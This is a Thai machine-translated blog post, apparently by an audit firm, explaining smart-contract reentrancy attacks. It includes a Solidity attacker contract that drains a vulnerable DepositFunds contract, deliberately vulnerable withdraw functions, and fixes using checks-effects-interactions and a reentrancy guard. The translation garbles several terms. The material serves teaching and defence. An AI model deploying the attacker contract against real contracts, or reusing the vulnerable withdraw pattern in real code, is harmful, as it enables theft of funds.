จะหลีกหนีจากสัญญาอันชาญฉลาดจากการโจมตีแบบคลัตช์ได้อย่างไร? PlatoBlockchain ข้อมูลอัจฉริยะ ค้นหาแนวตั้ง AI.

จะหลีกหนีจากสัญญาอันชาญฉลาดจากการโจมตีแบบคลัตช์ได้อย่างไร?

อ่านเวลา: 6 นาที

หากเราพิจารณาการแฮ็กคริปโตที่ใหญ่ที่สุดอย่างใกล้ชิดและตัวเลขที่ชวนน้ำลายสอที่สูญเสียไปจากพวกเขา พวกเขาจะหยั่งรากลึกจากข้อบกพร่องในการเข้ารหัส

ช่องโหว่ด้านความปลอดภัยที่เกิดขึ้นบ่อยอย่างหนึ่งคือการโจมตีแบบ Reentrancy อย่างไรก็ตาม ผลการทำลายล้างที่เกิดจากการกลับเข้ามาใหม่อย่างไม่ถูกต้องอาจไม่ฟังดูง่ายเหมือนการเปิดการโจมตีเสียเอง

แม้จะเป็นปัญหาที่คุ้นเคยและได้รับการเผยแพร่เป็นอย่างดี การปรากฏตัวของบั๊ก Reentrancy ในสัญญาอัจฉริยะเป็นสิ่งที่หลีกเลี่ยงไม่ได้เสมอ 

แฮ็กเกอร์ใช้ช่องโหว่ Reentrancy บ่อยเพียงใดในช่วงหลายปีที่ผ่านมา มันทำงานอย่างไร? จะยับยั้งสัญญาอัจฉริยะจากการสูญเสียเงินทุนไปยังบั๊ก Reentrancy ได้อย่างไร ค้นหาคำตอบสำหรับคำถามเหล่านี้ในบล็อกนี้

ดังนั้น อีกไม่นาน เรามาทำความเข้าใจเกี่ยวกับการโจมตีกลับเข้าใหม่ที่ใหญ่ที่สุดในหน่วยความจำกันดีกว่า 

การแฮ็กการกลับเข้าระบบตามเวลาจริงที่น่าอับอายที่สุดบางส่วน 

การโจมตีแบบ Reentrancy ที่สร้างผลกระทบร้ายแรงที่สุดต่อโปรเจกต์ลงเอยด้วยการทำอย่างใดอย่างหนึ่งหรือทั้งสองอย่าง 

  • ระบาย Ether ออกจากสัญญาอัจฉริยะอย่างสมบูรณ์
  • แฮ็กเกอร์แอบเข้าไปในรหัสสัญญาอัจฉริยะ

ตอนนี้เราสามารถสังเกตการโจมตีแบบ Reentrancy และผลกระทบได้บางกรณี 

มิ.ย. 2016: การโจมตี DAO – อีเธอร์ 3.54 ล้านหรือ 150 ล้านดอลลาร์

เม.ย. 2020: การแฮ็ก Uniswap/Lendf.Me – $25M

2021 พฤษภาคม: การแฮ็ก BurgerSwap – 7.2 ล้านเหรียญ

2021 ส.ค. การแฮ็คการเงินของ CREAM – 18.8 ล้านเหรียญ

มี.ค. 2022: การเงิน Ola – 3.6 ล้านเหรียญ

2022 ก.ค.: โปรโตคอล OMNI – $1.43M

เห็นได้ชัดว่าการโจมตีของ Reentrancy ไม่เคยล้าสมัย ให้เราได้รับข้อมูลเชิงลึกในข้อความต่อไปนี้ 

ภาพรวมของการโจมตี Reentrancy

จากชื่อ “Reentrancy” ที่มีความหมายว่า การโจมตีแบบ Reentrancy เกี่ยวข้องกับสัญญาสองฉบับ: สัญญาของเหยื่อและสัญญาของผู้โจมตี 

สัญญาของผู้โจมตีใช้ประโยชน์จากช่องโหว่ในการกลับเข้ามาใหม่ในสัญญาของเหยื่อ มันใช้ฟังก์ชั่นการถอนเพื่อให้บรรลุ 

สัญญาของผู้โจมตีเรียกฟังก์ชันการถอนเงินเพื่อระบายเงินออกจากสัญญาของเหยื่อโดยการโทรซ้ำก่อนที่ยอดคงเหลือในสัญญาของเหยื่อจะได้รับการอัปเดต สัญญาของเหยื่อจะตรวจสอบยอดเงิน ส่งเงิน และปรับปรุงยอดเงิน 

แต่ภายในกรอบเวลาของการส่งเงินและอัปเดตยอดคงเหลือในสัญญา สัญญาของผู้โจมตีจะทำการเรียกถอนเงินอย่างต่อเนื่อง เป็นผลให้ยอดคงเหลือไม่ได้รับการอัพเดตในสัญญาของเหยื่อจนกว่าสัญญาของผู้โจมตีจะระบายเงินทุนทั้งหมด

ความรุนแรงและต้นทุนของการแสวงประโยชน์จากการย้ายถิ่นฐานกลับเป็นสัญญาณเตือนถึงความจำเป็นอย่างยิ่งในการดำเนินการ การตรวจสอบสัญญาอัจฉริยะ เพื่อแยกแยะความเป็นไปได้ที่จะมองข้ามข้อผิดพลาดดังกล่าว 

มุมมองภาพประกอบของ Reentrancy Attack

ลองทำความเข้าใจแนวคิดของการโจมตีกลับเข้าใหม่จากภาพประกอบด้านล่าง 

นี่คือสัญญาสองฉบับ: สัญญาที่มีช่องโหว่และสัญญาแฮ็กเกอร์

สัญญาของแฮ็กเกอร์เรียกร้องให้ถอนตัวจากสัญญาที่มีช่องโหว่ เมื่อรับสาย สัญญาที่มีช่องโหว่จะตรวจสอบเงินในสัญญาของแฮ็กเกอร์ จากนั้นจึงโอนเงินไปให้แฮ็กเกอร์ 

แฮ็กเกอร์ได้รับเงินและใช้ฟังก์ชันสำรอง ซึ่งเรียกใช้อีกครั้งในสัญญาที่มีช่องโหว่ ก่อนที่ยอดคงเหลือจะได้รับการอัปเดตในสัญญาที่มีช่องโหว่ ดังนั้น การดำเนินการเดิมซ้ำๆ แฮ็กเกอร์จึงถอนเงินทั้งหมดออกจากสัญญาที่มีช่องโหว่ 

จะหลีกหนีจากสัญญาอันชาญฉลาดจากการโจมตีแบบคลัตช์ได้อย่างไร?

คุณลักษณะของฟังก์ชันสำรองที่ใช้โดยผู้โจมตี 

  • สามารถเรียกใช้จากภายนอกได้ คือไม่สามารถเรียกได้จากภายในสัญญาที่เขียนไว้
  • ฟังก์ชันที่ไม่มีชื่อ
  • ฟังก์ชันสำรองไม่มีตรรกะตามอำเภอใจอยู่ภายใน
  • ทางเลือกสำรองจะถูกเรียกใช้เมื่อ ETH ถูกส่งไปยังสัญญาอัจฉริยะที่ล้อมรอบ และไม่มีการประกาศฟังก์ชันรับ ()

วิเคราะห์ Reentrancy Attack จากมุมมองทางเทคนิค 

มาดูสัญญาตัวอย่างและทำความเข้าใจว่าการโจมตีการกลับเข้ามาใหม่เกิดขึ้นได้อย่างไร

สัญญาที่เป็นอันตราย

contract Attack {
    DepositFunds public depositFunds;

    constructor(address _depositFundsAddress) {
        depositFunds = DepositFunds(_depositFundsAddress);
    }

    // Fallback is called when DepositFunds sends Ether to this contract.
    fallback() external payable {
        if (address(depositFunds).balance >= 1 ether) {
            depositFunds.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        depositFunds.deposit{value: 1 ether}();
        depositFunds.withdraw();
    }


}

นี่คือสัญญาของผู้โจมตีที่ผู้โจมตีฝาก 2ETH ผู้โจมตีเรียกใช้ฟังก์ชันการถอนในสัญญาที่มีช่องโหว่ เมื่อได้รับเงินจากสัญญาที่มีช่องโหว่แล้ว ฟังก์ชันสำรองจะทำงาน 

แผนสำรองจะใช้ฟังก์ชันถอนเงินและระบายเงินออกจากสัญญาที่มีช่องโหว่ รอบนี้จะดำเนินต่อไปจนกว่าเงินทุนจะหมดจากสัญญาที่มีช่องโหว่

สัญญาที่มีช่องโหว่

contract DepositFunds {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }


}

สัญญาที่มีช่องโหว่มี 30ETH ในที่นี้ ฟังก์ชันการถอน () จะส่งจำนวนเงินที่ร้องขอไปยังผู้โจมตี เนื่องจากยอดคงเหลือไม่ได้รับการอัพเดต โทเค็นจึงถูกโอนไปยังผู้โจมตีซ้ำๆ 

ประเภทของการโจมตี Reentrancy

  • การกลับเข้าใช้ฟังก์ชันเดียว 
function withdraw() external {
   uint256 amount = balances[msg.sender];
   require(msg.sender.call.value(amount)());
   balances[msg.sender] = 0;
}

msg.sender.call.value(amount)() จะโอนเงินหลังจากที่ฟังก์ชันสำรองสัญญาของผู้โจมตีเรียกใช้การถอน () อีกครั้งก่อนที่จะมีการอัปเดตยอดคงเหลือ [msg.sender] = 0

  • การย้อนกลับข้ามฟังก์ชัน
function transfer(address to, uint amount) external {
   if (balances[msg.sender] >= amount) {
       balances[to] += amount;
       balances[msg.sender] -= amount;
   }
}
function withdraw() external {
   uint256 amount = balances[msg.sender];
   require(msg.sender.call.value(amount)());
   balances[msg.sender] = 0;
}

การกลับเข้ามาใหม่แบบข้ามสายงานนั้นซับซ้อนกว่าในการระบุ ความแตกต่างในที่นี้คือการเรียกใช้ฟังก์ชันสำรองเพื่อโอน ซึ่งแตกต่างจากการกลับเข้าใช้ฟังก์ชันเดียวซึ่งเรียกการถอน

การป้องกันการโจมตีกลับเข้าใหม่

รูปแบบการตรวจสอบผล-การโต้ตอบ: รูปแบบการตรวจสอบผลกระทบการโต้ตอบช่วยในการจัดโครงสร้างฟังก์ชัน 

ควรเขียนโปรแกรมในลักษณะที่ตรวจสอบเงื่อนไขก่อน เมื่อผ่านการตรวจสอบแล้ว ผลกระทบต่อสถานะของสัญญาควรจะได้รับการแก้ไข หลังจากนั้นจึงจะสามารถเรียกใช้ฟังก์ชันภายนอกได้ 

function withdraw() external {
   uint256 amount = balances[msg.sender];
   balances[msg.sender] = 0;
   require(msg.sender.call.value(amount)());
}

รหัสที่เขียนใหม่ที่นี่เป็นไปตามรูปแบบการตรวจสอบผลกระทบการโต้ตอบ ที่นี่ยอดคงเหลือเป็นศูนย์ก่อนทำการโทรออก 

การใช้ตัวดัดแปลง

โมดิฟายเออร์ noReentrant ที่ใช้กับฟังก์ชันทำให้แน่ใจว่าไม่มีการเรียกใช้ reentrant 

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

ในที่สุด

ขั้นตอนที่ได้ผลที่สุดคือรับการตรวจสอบสัญญาอัจฉริยะจากบริษัทรักษาความปลอดภัยชั้นนำอย่าง QuillAudits ซึ่งผู้ตรวจสอบจะจับตาดูโครงสร้างของโค้ดอย่างใกล้ชิดและตรวจสอบว่าฟังก์ชันทางเลือกทำงานอย่างไร จากรูปแบบที่ศึกษา คำแนะนำสำหรับการปรับโครงสร้างโค้ดหากดูเหมือนจะมี พฤติกรรมที่เสี่ยง

รับประกันความปลอดภัยของเงินทุนก่อนที่จะตกเป็นเหยื่อของความสูญเสียใดๆ 

คำถามที่พบบ่อย

การโจมตีกลับเข้าใหม่คืออะไร?

การโจมตีการกลับเข้าใหม่เกิดขึ้นเมื่อฟังก์ชันในสัญญาที่มีช่องโหว่ทำการเรียกสัญญาที่ไม่น่าเชื่อถือ สัญญาที่ไม่น่าเชื่อถือจะเป็นสัญญาของผู้โจมตีที่ทำการเรียกซ้ำไปยังสัญญาที่มีช่องโหว่จนกว่าเงินจะหมด 

Reentrant คืออะไร?

การกลับเข้ามาหมายถึงการขัดจังหวะการดำเนินการของรหัสและเริ่มต้นกระบวนการทั้งหมดอีกครั้ง ซึ่งเรียกอีกอย่างว่าการกลับเข้ามาใหม่

Reentrancy Guard คืออะไร?

Reentrancy Guard ใช้ตัวดัดแปลงที่ป้องกันไม่ให้ฟังก์ชันถูกเรียกซ้ำ อ่านบล็อกด้านบนเพื่อค้นหาตัวอย่างสำหรับการป้องกันการเข้าใหม่

การโจมตีสัญญาอัจฉริยะมีอะไรบ้าง?

สัญญาอัจฉริยะมีความเสี่ยงมากมาย เช่น การกลับเข้ามาใหม่ การพึ่งพาการประทับเวลา เลขคณิตล้น การโจมตี DoS และอื่นๆ ดังนั้นการตรวจสอบจึงเป็นสิ่งจำเป็นเพื่อให้แน่ใจว่าไม่มีจุดบกพร่องที่ทำให้ตรรกะของสัญญาล้มเหลว

69 เข้าชม

ประทับเวลา:

เพิ่มเติมจาก ควิลแฮช